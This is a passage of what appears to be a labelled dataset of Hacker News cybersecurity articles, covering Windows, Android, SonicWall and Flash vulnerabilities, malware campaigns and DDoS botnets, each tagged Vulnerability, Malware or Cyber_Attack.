The ""critical"" flaw (CVE-2016-3238) actually resides in the way Windows handles printer driver installations as well as the way end users connect to printers.

The flaw could allow an attacker to install malware remotely on victim machine that can be used to view, modify or delete data, or create new accounts with full user rights; Microsoft said in MS16-087 bulletin posted Tuesday.

Users who are logged in with fewer user rights on the system are less impacted than users who operate with administrative user rights, such as some home accounts and server users.

Microsoft said the critical flaw could be exploited to allow remote code execution if an attacker can conduct a man-in-the-middle (MiTM) attack on a system or print server or set up a rogue print server on a target network.

The critical flaw was discovered and reported by the researchers at security firm Vectra Networks, who disclosed some details on the vulnerability, but didn't publish their proof-of-concept (POC) code.

You can watch the video that shows the hack in action:

In corporate networks, by default network administrators allow printers to deliver the necessary drivers to workstations or systems connected to the network. These drivers are silently installed without user interaction and run with full privileges under the SYSTEM user.

According to researchers, attackers can replace these drivers on the printer with malicious files that could allow them to execute code of their choice.

More worrisome: If the printer is behind a firewall, attackers can even hack other device or computer on that particular network, and then use it to host their malicious files.

Watering Hole Attacks via Printers
Like servers, multiple computers are also connected to printers in an effort to print documents as well as download drivers. So, this flaw allows a hacker to execute watering hole attacks technically using printers.

Watering hole attacks, or drive-by downloads, are used to target businesses and organizations by infecting them with malware to gain access to the network.
""Rather than infecting users individually, an attacker can effectively turn one printer into a watering hole that will infect every Windows device that touches it,"" said Vectra chief security officer Gunter Ollmann.
""Anyone connecting to the printer share will download the malicious driver. This moves the attack vector from physical devices to any device on the network capable of hosting a virtual printer image.""
This flaw (CVE-2016-3238) is by far the most dangerous vulnerability of the year, which is easy to execute, provides different ways of launch attacks, and affects a huge number of users.

A second related vulnerability, CVE-2016-3239, in MS16-087 bulletin is a privilege escalation flaw that could allow attackers to write to the file system.

A security bulletin for Microsoft Office, MS16-088, includes patches for seven remote code execution (RCE) vulnerabilities, 6 of them are memory corruption flaws, which affects Microsoft Office, SharePoint Server as well as Office Web Apps.

The flaws can be exploited by specially crafted Office files, allowing attackers to run arbitrary code with same privileges as the logged in user.

Bulletin MS16-084 addresses flaws in Internet Explorer and MS16-085 in Microsoft Edge. The IE flaws include RCE, privilege escalation, information disclosure and security bypass bugs.

Edge flaws include a handful of RCE and memory corruption flaws in the Chakra JavaScript engine, as well as an ASLR bypass, information disclosure, browser memory corruption, and spoofing bugs.

Bulletin MS16-086 addresses a vulnerability in the JScript and VBScript engines in Windows, which could allow an attacker to execute remote code execution flaw, affecting VBScript 5.7 and JScript 5.8.

Rest five bulletins rated as important address flaws in Windows Secure Kernel Mode, Windows Kernel-Mode Drivers, the .NET framework, the Windows Kernel, and Secure Boot process.

Users are advised to patch their system and software as soon as possible.

",Vulnerability
Another Master Key vulnerability discovered in Android 4.3,https://thehackernews.com/2013/11/another-master-key-vulnerability.html,"Earlier this year, in the month of July it was first discovered that 99% of Android devices are vulnerable to a flaw called ""Android Master Key vulnerability"" that allow hackers to modify any legitimate and digitally signed application in order to transform it into a Trojan program that can be used to steal data or take control of the device.
The vulnerability was also responsibly disclosed to Google back in February by Bluebox and but the company did not fix the issue even with Android 4.3 Jelly Bean. Later, Google has also modified its Play Store's app entry process so that apps that have been modified using such exploit are blocked and can no longer be distributed via Play.

Then after a few days, in the last week of July this year, Android Security Squad, the China-based group also uncovered a second Android master key vulnerability similar to the first one.

Security researcher Jay Freeman has discovered yet another Master Key vulnerability in Android 4.3, which is very similar to the flaw reported by Android Security Squad in July.

Jay Freeman, perhaps better known as Saurik for Cydia Software, an application for iOS that enables a user to find and install software packages on jailbroken iOS Apple devices such as the iPhone.

He demonstrated the flaw with a proof of concept exploit, written in Python language.
On Android, all applications are signed by their developers using private cryptographic keys; it is by comparing the certificates used to verify these signatures that Android's package manager determines whether applications are allowed to share information, or what permissions they are able to obtain.

Even the system software itself is signed by the manufacturer of the device and the applications signed by that same key are thereby able to do anything that the system software can.

Like the previous master key bugs, Saurik's exploit allows a hacker to gain complete access to your Android device via a modified system APK, with its original cryptographic key being untouched.

This way the malware can obtain full access to Android system and all applications (and their data) with dangerous system permissions.

Users are advised to download apps or app updates only from trusted sources, preferably from official sources or app stores. Saurik has also updated his Cydia Impactor for Android to include a patch for this bug.

Recently, the source code for Android 4.4 was released in Android Open Source Project, which included a patch for all previously known Android Master Key vulnerabilities.

Update: We have updated the story, and made some correction after Saurik comment, 'the bug I am describing is a bug in Android 4.3, not Android 4.4. The fix for it was included in the code release for Android 4.4, and since it is now disclosed there is no harm to the open device community to describe the bug in public; devices that currently have no exploit are there by now exploitable.'

Thank you!

",Vulnerability
GitHub Updates Policy to Remove Exploit Code When Used in Active Attacks,https://thehackernews.com/2021/06/github-updates-policy-to-remove-exploit.html,"Code-hosting platform GitHub Friday officially announced a series of updates to the site's policies that delve into how the company deals with malware and exploit code uploaded to its service.
""We explicitly permit dual-use security technologies and content related to research into vulnerabilities, malware, and exploits,"" the Microsoft-owned company said. ""We understand that many security research projects on GitHub are dual-use and broadly beneficial to the security community. We assume positive intention and use of these projects to promote and drive improvements across the ecosystem.""
Stating that it will not allow the use of GitHub in direct support of unlawful attacks or malware campaigns that cause technical harm, the company said it may take steps to disrupt ongoing attacks that leverage the platform as an exploit or a malware content delivery network (CDN).
To that end, users are refrained from uploading, posting, hosting, or transmitting any content that could be used to deliver malicious executables or abuse GitHub as an attack infrastructure, say, by organizing denial-of-service (DoS) attacks or managing command-and-control (C2) servers.
""Technical harms means overconsumption of resources, physical damage, downtime, denial of service, or data loss, with no implicit or explicit dual-use purpose prior to the abuse occurring,"" GitHub said.
In scenarios where there is an active, widespread abuse of dual-use content, the company said it might restrict access to such content by putting it behind authentication barriers, and as a ""last resort,"" disable access or remove it altogether when other restriction measures are not feasible. GitHub also noted that it would contact relevant project owners about the controls put in place where possible.
The changes come into effect after the company, in late April, began soliciting feedback on its policy around security research, malware, and exploits on the platform with the goal of operating under a clearer set of terms that would remove the ambiguity surrounding ""actively harmful content"" and ""at-rest code"" in support of security research.
By not taking down exploits unless the repository or code in question is incorporated directly into an active campaign, the revision to GitHub's policies is also a direct result of widespread criticism that followed in the aftermath of a proof-of-concept (PoC) exploit code that was removed from the platform in March 2021.
The code, uploaded by a security researcher, concerned a set of security flaws known as ProxyLogon that Microsoft disclosed were being abused by Chinese state-sponsored hacking groups to breach Exchange servers worldwide. GitHub at the time said it removed the PoC in accordance with its acceptable use policies, citing it included code ""for a recently disclosed vulnerability that is being actively exploited.""

",Malware
WhatsApp-based wormable Android malware spotted on the Google Play Store,https://thehackernews.com/2021/04/whatsapp-based-wormable-android-malware.html,"Cybersecurity researchers have discovered yet another piece of wormable Android malware—but this time downloadable directly from the official Google Play Store—that's capable of propagating via WhatsApp messages.
Disguised as a rogue Netflix app under the name of ""FlixOnline,"" the malware comes with features that allow it to automatically reply to a victim's incoming WhatsApp messages with a payload received from a command-and-control (C&C) server.
""The application is actually designed to monitor the user's WhatsApp notifications, and to send automatic replies to the user's incoming messages using content that it receives from a remote C&C server,"" Check Point researchers said in an analysis published today.
Besides masquerading as a Netflix app, the malicious ""FlixOnline"" app also requests intrusive permissions that allow it to create fake Login screens for other apps, with the goal of stealing credentials and gain access to all notifications received on the device, using it to hide WhatsApp notifications from the user and automatically reply with a specially-crafted payload received from the C&C server.
""The malware's technique is fairly new and innovative,"" said Aviran Hazum, manager of mobile intelligence at Check Point. ""The technique here is to hijack the connection to WhatsApp by capturing notifications, along with the ability to take predefined actions, like 'dismiss' or 'reply' via the Notification Manager.""
A successful infection could allow the malware to spread further via malicious links, steal data from users' WhatsApp accounts, propagate malicious messages to users' WhatsApp contacts and groups, and even extort users by threatening to leak sensitive WhatsApp data or conversations.
The app has since been purged from the Play Store, but not before attracting a total of 500 downloads over the course of two months.
FlixOnline also marks the second time a malicious app has been caught using WhatsApp to spread the malware. In January 2021, ESET researcher Lukas Stefanko disclosed a fake Huawei Mobile app that employed the same modus operandi to perform the wormable attack.
What's more, the message displayed to users upon opening the apps is the same — ""We need your permission to access the application. It will help app (sic) to provide better functionality"" — suggesting the two apps could either be the work of the same attacker or that the authors of FlixOnline drew inspiration from the Huawei Mobile app.
""The fact that the malware was able to be disguised so easily and ultimately bypass Play Store's protections raises some serious red flags,"" Hazum said. ""Although we stopped one campaign of the malware, the malware family is likely here to stay. The malware may return hidden in a different app.""
""Users should be wary of download links or attachments that they receive via WhatsApp or other messaging apps, even when they appear to come from trusted contacts or messaging groups,"" Hazum added.

",Malware
New Ransomware Malware takes Advantage of Windows PowerShell,https://thehackernews.com/2014/06/new-ransomware-malware-takes-advantage.html,"Ransomware is one of the most blatant and obvious money making schemes for cybercriminals and it was most likely to be known when last year Cryptolocker ransomware targeted millions of computers worldwide.

Recently, security researchers at the Antivirus firm TrendLabs have unearthed another sophisticated variant of the ransomware malware which is employing Windows PowerShell in an effort to encrypt files on the victims' computer. The firm detected the variant as TROJ_POSHCODER.A.

Windows PowerShell is a task automation and configuration management framework from Microsoft, consisting of a command-line shell and associated scripting language. It provides full access to COM and WMI, enabling administrators to perform administrative tasks on both local and remote Windows systems as well as WS-Management and CIM enabling management of remote Linux systems and network devices.

It is believed that cybercriminals have used this feature of Windows just in order to make the detection and analysis of the malware harder on an affected system. However, they failed at this point as using Windows PowerShell feature made it much easier for the researchers to detect the malware.

""In this case, using PowerShell made it easier to detect as this malware is also hard-coded,"" reads the blog post. ""Decrypting and analyzing this malware was not too difficult, particularly compared to other ransomware variants.""

TROJ_POSHCODER.A is a script-based malware as it is using the Windows PowerShell feature. The malware makes use of the Advanced Encryption Standard (AES) to encrypt the files, and RSA-4096 public key cryptography to exchange the AES key with the victims in order to decrypt the files.

Once the ransomware is installed and executed on the victim's Windows System, it encrypts the existing files on the infected system and then renames them to {filename}.POSHCODER. In Addition, it also drops UNLOCKYOURFILES.html into every folder.

As soon as all the files on the infected system are encrypted, it displays a message to victims saying ""Your files were encrypted and locked with a RSA4096 key"" and ask them to follow some given instructions in order to decrypt their files as shown in the screenshot:
The instructions in the Ransom note takes users to another page as shown below, asking victims to download the Multibit application to have their own Bitcoin-wallet account for 1 Bitcoin.
After victims purchase the application, they are instructed to fill and submit the form that contains information such as victims' email address, BTC address and ID, as a result to get decryption keys from the threat actors. This new variant have primarily affected English speaking targets in the United States.

In our previous articles, we highlighted many variants of Cryptolocker and other similar threats that has ability to perform additional tasks such as using different languages in their warning and stealing virtual currency from cryptocurrency wallets.

CryptoLocker is especially dangerous because of its infection rate and it is the most damaging Windows virus in a series of recent ransomware Trojans.

We also reported last month that cybercriminals have now begun targeting Smartphones with a special piece of malicious software that locks up the devices until the victims pay a ransom to get the keys to unlock the phone, which highlights how money motivated criminals are continuously improving these threats over time.

What Steps can you take to reduce the risk of your equipment becoming infected? Users are advised to never open email attachments from unknown sources and make backup of your important data to an external device or on the cloud storage. If you believe you have been infected, act quickly. Stay Safe!

",Malware
North Korean Hackers Used 'Torisma' Spyware in Job Offers-based Attacks,https://thehackernews.com/2020/11/north-korean-hackers-used-torisma.html,"A cyberespionage campaign aimed at aerospace and defense sectors in order to install data gathering implants on victims' machines for purposes of surveillance and data exfiltration may have been more sophisticated than previously thought.
The attacks, which targeted IP-addresses belonging to internet service providers (ISPs) in Australia, Israel, Russia, and defense contractors based in Russia and India, involved a previously undiscovered spyware tool called Torisma to stealthily monitor its victims for continued exploitation.
Tracked under the codename of ""Operation North Star"" by McAfee researchers, initial findings into the campaign in July revealed the use of social media sites, spear-phishing, and weaponized documents with fake job offers to trick employees working in the defense sector to gain a foothold on their organizations' networks.
The attacks have been attributed to infrastructure and TTPs (Techniques, Tactics, and Procedures) previously associated with Hidden Cobra — an umbrella term used by the US government to describe all North Korean state-sponsored hacking groups.
The development continues the trend of North Korea, a heavily sanctioned country, leveraging its arsenal of threat actors to support and fund its nuclear weapons program by perpetrating malicious attacks on US defense and aerospace contractors.
While the initial analysis suggested the implants were intended to gather basic victim information so as to assess their value, the latest investigation into Operation North Star exhibits a ""degree of technical innovation"" designed to remain hidden on compromised systems.
Not only did the campaign use legitimate job recruitment content from popular US defense contractor websites to lure targeted victims into opening malicious spear-phishing email attachments, the attackers compromised and used genuine websites in the US and Italy — an auction house, a printing company, and an IT training firm — to host their command-and-control (C2) capabilities.
""Using these domains to conduct C2 operations likely allowed them to bypass some organizations' security measures because most organizations do not block trusted websites,"" McAfee researchers Christiaan Beek and Ryan Sherstibitoff said.
What's more, the first-stage implant embedded in the Word documents would go on to evaluate the victim system data (date, IP Address, User-Agent, etc.) by cross-checking with a predetermined list of target IP addresses to install a second implant called Torisma, all the while minimizing the risk of detection and discovery.
This specialized monitoring implant is used to execute custom shellcode, in addition to actively monitoring for new drives added to the system as well as remote desktop connections.
""This campaign was interesting in that there was a particular list of targets of interest, and that list was verified before the decision was made to send a second implant, either 32 or 64 bits, for further and in-depth monitoring,"" the researchers said.
""Progress of the implants sent by the C2 was monitored and written in a log file that gave the adversary an overview of which victims were successfully infiltrated and could be monitored further.""

",Malware
3 Zero-Day Exploits Hit SonicWall Enterprise Email Security Appliances,https://thehackernews.com/2021/04/3-zero-day-exploits-hit-sonicwall.html,"SonicWall has addressed three critical security vulnerabilities in its hosted and on-premises email security (ES) product that are being actively exploited in the wild.
Tracked as CVE-2021-20021 and CVE-2021-20022, the flaws were discovered and reported to the company by FireEye's Mandiant subsidiary on March 26, 2021, after the cybersecurity firm detected post-exploitation web shell activity on an internet-accessible system within a customer's environment that had SonicWall's ES application running on a Windows Server 2012 installation. A third flaw (CVE-2021-20023) identified by FireEye was disclosed to SonicWall on April 6, 2021.
FireEye is tracking the malicious activity under the moniker UNC2682.
""These vulnerabilities were executed in conjunction to obtain administrative access and code execution on a SonicWall ES device,"" researchers Josh Fleischer, Chris DiGiamo, and Alex Pennino said.
The adversary leveraged these vulnerabilities, with intimate knowledge of the SonicWall application, to install a backdoor, access files, and emails, and move laterally into the victim organization's network.""
A brief summary of the three flaws are below -
CVE-2021-20021 (CVSS score: 9.4) - Allows an attacker to create an administrative account by sending a crafted HTTP request to the remote host
CVE-2021-20022 (CVSS score: 6.7) - Allows a post-authenticated attacker to upload an arbitrary file to the remote host, and
CVE-2021-20023 (CVSS score: 6.7) - A directory traversal flaw that allows a post-authenticated attacker to read an arbitrary file on the remote host.
The administrative access not only enabled the attacker to exploit CVE-2021-20023 to read configuration files, counting those containing information about existing accounts as well as Active Directory credentials but also abuse CVE-2021-20022 to upload a ZIP archive containing a JSP-based web shell called BEHINDER that's capable of accepting encrypted command-and-control (C2) communications.
""With the addition of a web shell to the server, the adversary had unrestricted access to the command prompt, with the inherited permissions of the NT AUTHORITY\SYSTEM account,"" FireEye said, adding the attacker then used ""living off the land"" (LotL) techniques to harvest credentials, move laterally across the network, and even ""compress a subdirectory [that] contains daily archives of emails processed by SonicWall ES.""
In the incident observed by the firm, the threat actor is said to have escalated their attack by conducting an internal reconnaissance activity, albeit briefly, prior to being isolated and removed from the environment, thus foiling their mission. The true motive behind the intrusion remains unclear.
SonicWall users are recommended to upgrade to 10.0.9.6173 Hotfix for Windows and 10.0.9.6177 Hotfix for hardware and ESXi virtual appliances. The SonicWall Hosted Email Security product was automatically patched on April 19 and hence no additional action is required.
UPDATE
The Milpitas-headquartered network security firm labeled the findings as an outcome of routine collaboration with third-party researchers and forensic analysis firms to ensure its products adhere to the security best practices.
""Through the course of this process, SonicWall was made aware of and verified certain zero-day vulnerabilities — in at least one known case, being exploited in the wild — to its hosted and on-premises email security products,"" the company said in a statement to The Hacker News. ""SonicWall designed, tested and published patches to correct the issues and communicated these mitigations to customers and partners.""

",Vulnerability
Google Discloses Unpatched 'High-Severity' Flaw in Apple macOS Kernel,https://thehackernews.com/2019/03/cybersecurity-macos-hacking.html,"Cybersecurity researcher at Google's Project Zero division has publicly disclosed details and proof-of-concept exploit of a high-severity security vulnerability in macOS operating system after Apple failed to release a patch within 90 days of being notified.

Discovered by Project Zero researcher Jann Horn and demonstrated by Ian Beer, the vulnerability resides in the way macOS XNU kernel allows an attacker to manipulate filesystem images without informing the operating system.

The flaw could eventually allow an attacker or a malicious program to bypass the copy-on-write (COW) functionality to cause unexpected changes in the memory shared between processes, leading to memory corruption attacks.

Copy-On-Write, also referred to as COW, is a resource-management optimization strategy used in computer programming.

In general, if any process (destination) requires a file or data that is already in the memory but created by another process (source), both processes can share the same resource rather than creating a new copy of it, significantly reducing the resource consumption of unmodified copies.

However, if the source process needs to make some changes in the data, the copy-on-write (COW) function comes into play and creates a copy of it in the memory so that the destination process can still have access to the data.

According to the Project Zero researcher, on Apple's macOS operating system, this copy-on-write behavior works not only with the anonymous memory, but also efficiently handles the page tables and memory mappings.

""This means that, after the destination process has started reading from the transferred memory area, memory pressure can cause the pages holding the transferred memory to be evicted from the page cache,"" reads the advisory detailing the vulnerability.

""Later, when the evicted pages are needed again, they can be reloaded from the backing filesystem.""

Google researcher finds that when a mounted filesystem image is mutated directly (for example, by calling pwrite() on the filesystem image), this information is not propagated into the mounted filesystem.

Thus, malicious program or an attacker can simply make changes to evicted pages stored on the disk without informing the virtual management subsystem, tricking the destination processes into loading manipulated malicious content into the memory.

""It is important that the copied memory is protected against later modifications by the source process; otherwise, the source process might be able to exploit double-reads in the destination process,"" the resaercher says.

In addition to this vulnerability, the Project Zero researcher also found a similar copy-on-write behavior bypass (CVE-2019-6208) by abusing another function on macOS operating system.

The researcher notified Apple of both the vulnerabilities back in November 2018 and the company privately acknowledged the existence of the flaws. While Apple patched the latter flaw in January 2019 update, the former flaw remains unaddressed even after the 90-day deadline Project Zero provides the affected companies.

So, the researchers made the vulnerability public with a ""high severity"" label and also released the proof-of-concept code that demonstrates the bug, which remains unpatched at the time of writing.

Apple is currently working with the Project Zero team on a fix for the vulnerability, which is intended to be included in a future macOS release.

",Malware
Cybercriminals Hijack Router DNS to Distribute Android Banking Trojan,https://thehackernews.com/2018/04/android-dns-hijack-malware.html,"Security researchers have been warning about an ongoing malware campaign hijacking Internet routers to distribute Android banking malware that steals users' sensitive information, login credentials and the secret code for two-factor authentication.

In order to trick victims into installing the Android malware, dubbed Roaming Mantis, hackers have been hijacking DNS settings on vulnerable and poorly secured routers.

DNS hijacking attack allows hackers to intercept traffic, inject rogue ads on web-pages and redirect users to phishing pages designed to trick them into sharing their sensitive information like login credentials, bank account details, and more.

Hijacking routers' DNS for a malicious purpose is not new. Previously we reported about widespread DNSChanger and Switcher—both the malware worked by changing the DNS settings of the wireless routers to redirect traffic to malicious websites controlled by attackers.

Discovered by security researchers at Kaspersky Lab, the new malware campaign has primarily been targeting users in Asian countries, including South Korea, China Bangladesh, and Japan, since February this year.

Once modified, the rogue DNS settings configured by hackers redirect victims to fake versions of legitimate websites they try to visit and displays a pop-up warning message, which says—""To better experience the browsing, update to the latest chrome version.""
It then downloads the Roaming Mantis malware app masquerading as Chrome browser app for Android, which takes permission to collect device' account information, manage SMS/MMS and making calls, record audio, control external storage, check packages, work with file systems, draw overlay windows and so on.
""The redirection led to the installation of Trojanized applications named facebook.apk and chrome.apk that contained Android Trojan-Banker.""
If installed, the malicious app overlays all other windows immediately to show a fake warning message (in broken English), which reads, ""Account No.exists risks, use after certification.""

Roaming Mantis then starts a local web server on the device and launches the web browser to open a fake version of Google website, asking users to fill up their names and date of births.
To convince users into believing that they are handing over this information to Google itself, the fake page displays users' Gmail email ID configured on their infected Android device, as shown in the screenshots.
""After the user enters their name and date of birth, the browser is redirected to a blank page at https://127.0.0.1:${random_port}/submit,"" researchers said. ""Just like the distribution page, the malware supports four locales: Korean, Traditional Chinese, Japanese and English.""
Since Roaming Mantis malware app has already gained permission to read and write SMS on the device, it allows attackers to steal the secret verification code for the two-factor authentication for victims' accounts.

While analysing the malware code, Researchers found reference to popular South Korean mobile banking and gaming applications, as well as a function that tries to detect if the infected device is rooted.
""For attackers, this may indicate that a device is owned by an advanced Android user (a signal to stop messing with the device) or, alternatively, a chance to leverage root access to gain access to the whole system,"" the researchers said.
What's interesting about this malware is that it uses one of the leading Chinese social media websites (my.tv.sohu.com) as its command-and-control server and sends commands to infected devices just via updating the attacker-controlled user profiles.
According to Kaspersky's Telemetry data, the Roaming Mantis malware was detected more than 6,000 times, though the reports came from just 150 unique users.

You are advised to ensure your router is running the latest version of the firmware and protected with a strong password.

You should also disable router's remote administration feature and hardcode a trusted DNS server into the operating system network settings.

",Cyber_Attack
"Apple left iOS 10 Kernel Code Unencrypted, Intentionally!",https://thehackernews.com/2016/06/apple-ios-kernel.html,"Apple's new iOS 10 recently made headlines after MIT Technology Review revealed that the company had left the kernel of the mobile operating system unencrypted.

Yes, the first developer preview of iOS 10 released at WWDC has an unencrypted kernel.

When the headline broke, some of the users were surprised enough that they assumed Apple had made a mistake by leaving unencrypted kernel in iOS 10, and therefore, would get reverted in the next beta version of the operating system.

However, Apple managed to confirm everyone that the company left the iOS 10 kernel unencrypted intentionally, as the kernel cache does not contain any critical or private information of users.

On iOS, the kernel is responsible for things like security and how applications are capable of accessing the parts of an iPhone or an iPad.

But, Why Apple had left the iOS wide open when other features like iMessage offer end-to-end encryption?
Apple did this on purpose, because by leaving the iOS 10 kernel unencrypted, the company was ""able to optimize the operating system's performance without compromising security,"" an Apple spokesperson told TechCrunch.
The kernel is the heart of any operating system. Apple has always kept the kernel under several layers of protection in previous versions of iOS, leaving developers as well as researchers in the dark.

So, the unencrypted kernel could help developers and security researchers look more closely at its code and find security flaws. After all, if more eyes are looking for flaws, it would be easier to discover and patch the issues more quickly than before.

MIT Technology Review also pointed out that this could prevent government and law enforcement agencies from exploiting vulnerabilities to crack locked iOS devices, like what the FBI did to hack into the San Bernardino shooter's iPhone.

",Vulnerability
New Botnet Hunts for Linux — Launching 20 DDoS Attacks/Day at 150Gbps,https://thehackernews.com/2015/09/xor-ddos-attack.html,"A network of compromised Linux servers has grown so powerful that it can blow large websites off the Internet by launching crippling Distributed Denial-of-service (DDoS) attacks of over 150 gigabits per second (Gbps).

The distributed denial-of-service network, dubbed XOR DDoS Botnet, targets over 20 websites per day, according to an advisory published by content delivery firm Akamai Technologies.

Over 90 percent of the XOR DDoS targets are located in Asia, and the most frequent targets are the gaming sector and educational institutions.

XOR creator is supposed to be from China, citing the fact that the IP addresses of all Command and Control (C&C) servers of XOR are located in Asia, where most of the infected Linux machines also reside.

How XOR DDoS Botnet infects Linux System?

Unlike other DDoS botnets, the XOR DDoS botnet infects Linux machines via embedded devices such as network routers and then brute forces a machine's SSH service to gain root access to targeted machines.

Once the attackers have acquired Secure Shell credentials and logged in, they use root privileges to run a simple shell script that secretly downloads and installs the malicious XOR botnet software.

However, there is no such evidence that XOR DDoS infects computers by exploiting flaws in the Linux operating system itself.

A High-Bandwidth DDoS Attack

Akamai's Security Intelligence Response Team (SIRT) has seen DDoS attacks – SYN and DNS floods as the observed attack vectors – with the bandwidth ranging from a few gigabits per second (Gbps) to nearly 179 Gbps.

The upper figure is a massive DDoS attack volume that even most multinational corporate networks can not handle. However, the biggest recorded DDoS attacks have hit 400 Gbps.
""Over the past year, the XOR DDoS botnet has grown and is now capable of being used to launch [massive] DDoS attacks,"" Stuart Scholly, senior vice president of Akamai's Security Business Unit, said in a statement.
Scholly further added that attackers are switching their focus from Windows botnets and building Linux botnets to launch massive DDoS attacks. However in the past, Windows machines were their primary targets for DDoS malware.

How to Detect and Mitigate XOR DDoS Botnet?

Akamai's advisory outlines two different methods for detecting the recent version of the XOR malware.
To Detect XOR DDoS Botnet in your Network, look for the communications between a bot and its C&C server, using the Snort rule given in the advisory.
To Detect XOR DDoS Botnet infection on your Hosts, use the YARA rule also shown in the advisory.
Moreover, Akamai also provides a four-step process for removing the XOR DDoS Trojan from your machine, as given below:
First, identify the malicious files in two directories (/boot and /etc/init.d)
Identify the supporting processes responsible for the persistence of the main process
Kill the malicious processes
Delete the malicious files (in /boot and /etc/init.d)
Additionally, disabling system root login from SSH (Secure Shell), or using a strong password will also defeat this issue.

",Cyber_Attack
Europol Now Going After People Who Bought DDoS-for-Hire Services,https://thehackernews.com/2019/01/ddos-for-hire-services.html,"If you were a buyer of any online DDoS-for-hire service, you might be in trouble.

After taking down and arresting the operators of the world's biggest DDoS-for-hire service last year, the authorities are now in hunt for customers who bought the service that helped cyber criminals launch millions of attacks against several banks, government institutions, and gaming industry.

Europol has announced that British police are conducting a number of live operations worldwide to track down the users of the infamous Webstresser.org service that the authorities dismantled in April 2018.

Launched in 2015, Webstresser let its customers rent the service for about £10 to launch Distributed Denial of Service (DDoS) attacks against their targets with little to no technical knowledge, which resulted in more than 4 million DDoS attacks.

According to the Europol announcement published on Monday, the agency gained access to the accounts of over 151,000 registered Webstresser users last year when it shut down the service and have now uncovered a ""trove of information"" against some users that could help the agency track them down.

Europol said more than 250 users of Webstresser and other DDoS-for-hire services will soon face potential prosecution for the damage they have caused.

""Size does not matter — all levels of users are under the radar of law enforcement, be it a gamer booting out the competition out of a game, or a high-level hacker carrying out DDoS attacks against commercial targets for financial gain,"" Europol said.

In the United Kingdom, several webstresser.org users have recently been visited by the police. In the Netherlands, the police are trying to link user profiles to the identities of Dutch people, while ""a Dutch user of webstresser.org has already received this alternative sanction.""

Other countries, including the United States, Belgium, Croatia, France, Germany, Greece, Denmark, Romania, Estonia, Hungary, Ireland, Switzerland, Norway, Lithuania, Portugal, Slovenia, Sweden, Australia, Colombia, Serbia, have also joined the fight against DDoS attacks.

While some of these countries are focusing their actions specifically against the Webstresser users, some have intensified their activities against the users of any DDoS booter or stresser service.
""To this effect, the FBI seized last December 15 other DDoS-for-hire websites, including the relatively well known Downthem and Quantum Stresser,"" Europol said. ""Similarly, the Romanian police has taken measures against the administrators of 2 smaller-scale DDoS platforms and has seized digital evidence, including information about the users.""
So, users of all DDoS-for-Hire services are in danger of being prosecuted.

",Cyber_Attack
FinFisher spyware found running on computers all over the world,https://thehackernews.com/2012/08/finfisher-spyware-found-running-on.html,"FinFisher, a software application used by law enforcement agencies for surveillance, appears to be far more widespred than originally thought.Sold by British company Gamma Internationl Gmbh, FinFisher secretly monitors computers by turning on webcams, recording everything the user types with a keylogger, and monitoring Skype calls.

It can also bypass popular antivirus products, communicate covertly with remote servers, record emails, chats, and VOIP calls, and harvesting data from the hard drive.
On Wednesday, computer security company Rapid7 researcher Claudio Guarnieri shared new details of the workings of FinFisher, a piece of malware sold by UK contractor Gamma Group to government agencies. He found FinFisher servers at work in Australia, Czech Republic, United Arab Emirates, Ethiopia, Estonia, Indonesia, Latvia, Mongolia, Qatar, and the United States.
Rapid7 has published the IP addresses and communication ""fingerprint"" of the command and control servers it has discovered. The information can be used in intrusion detection systems. ""If you can identify those networks actually communicating with those IPs, it most likely means some of the people on those networks are being spied on in some way,"" Guarnieri said.

Muench, who is based in Munich, has said his company didn't sell FinFisher spyware to Bahrain. He said he's investigating whether the samples used against Bahraini activists were stolen demonstration copies or were sold via a third party.

",Malware
"Adobe Issues Critical Patches for ColdFusion, Flash Player, Campaign",https://thehackernews.com/2019/06/adobe-patch-june.html,"It's Patch Tuesday week!

Adobe has just released the latest June 2019 software updates to address a total 11 security vulnerabilities in its three widely-used products Adobe ColdFusion, Flash Player, and Adobe Campaign.

Out of these, three vulnerabilities affect Adobe ColdFusion, a commercial rapid web application development platform—all critical in severity—that could lead to arbitrary code execution attacks.

Here below you can find brief information about all newly patched ColdFusion flaws:


CVE-2019-7838 — This vulnerability has been categorized as ""File extension blacklist bypass"" and can be exploited if the file uploads directory is web accessible.
CVE-2019-7839 — There's a command injection vulnerability in ColdFusion 2016 and 2018 editions, but it does not impact ColdFusion version 11.
CVE-2019-7840 — This flaw originates from the deserialization of untrusted data and also leads to arbitrary code execution on the system.


Besides ColdFusion, Adobe has patched just one vulnerability (CVE-2019-7845) in the infamous Flash Player software this month, which is also critical in severity and leads to arbitrary code execution on the affected Windows, macOS, Linux or Chrome OS-based system.

This flaw was reported by an anonymous cybersecurity researcher to the Adobe and can now be patched by installing the latest Flash player version 32.0.0.207.

The rest 7 flaws that Adobe patched this month resides in Adobe Campaign Classic (ACC), an advanced cross-channel marketing and campaign management platform, one of which is critical in severity, three have been rated important and other 3 poses little threat to users.

The only critical flaw (CVE-2019-7843) in Adobe Campaign could allow attackers to execute commands on the affected systems (Windows and Linux) through arbitrary code execution flaw.

At the time of writing, the company is not aware of any in-the-wild exploit for the vulnerabilities it addressed today.

Adobe has released updated versions of all three vulnerable software for each impacted platform that users should install immediately to protect their systems and businesses from cyber attacks.

",Vulnerability
New Adobe Flash Zero-Day Exploit Found Hidden Inside MS Office Docs,https://thehackernews.com/2018/12/flash-player-vulnerability.html,"Cybersecurity researchers have discovered a new zero-day vulnerability in Adobe Flash Player that hackers are actively exploiting in the wild as part of a targeted campaign appears to be attacking a Russian state health care institution.

The vulnerability, tracked as CVE-2018-15982, is a use-after-free flaw resides in Flash Player that, if exploited successfully, allows an attacker to execute arbitrary code on the targeted computer and eventually gain full control over the system.

The newly discovered Flash Player zero-day exploit was spotted last week by researchers inside malicious Microsoft Office documents, which were submitted to online multi-engine malware scanning service VirusTotal from a Ukrainian IP address.

The maliciously crafted Microsoft Office documents contain an embedded Flash Active X control in its header that renders when the targeted user opens it, causing exploitation of the reported Flash player vulnerability.

According to cybersecurity researchers, neither the Microsoft Office file (22.docx) nor the Flash exploit (inside it) itself contain the final payload to take control over the system.

Instead, the final payload is hiding inside an image file (scan042.jpg), which is itself an archive file, that has been packed along with the Microsoft Office file inside a parent WinRAR archive which is then distributed through spear-phishing emails, as shown in the video below:
Upon opening the document, the Flash exploit executes a command on the system to unarchive the image file and run the final payload (i.e., backup.exe) which has been protected with VMProtect and programmed to install a backdoor that is capable of:

monitoring user activities (keyboard or moves the mouse)
collecting system information and sending it to a remote command-and-control (C&C) server,
executing shellcode,
loading PE in memory,
downloading files
execute code, and
performing self-destruction.
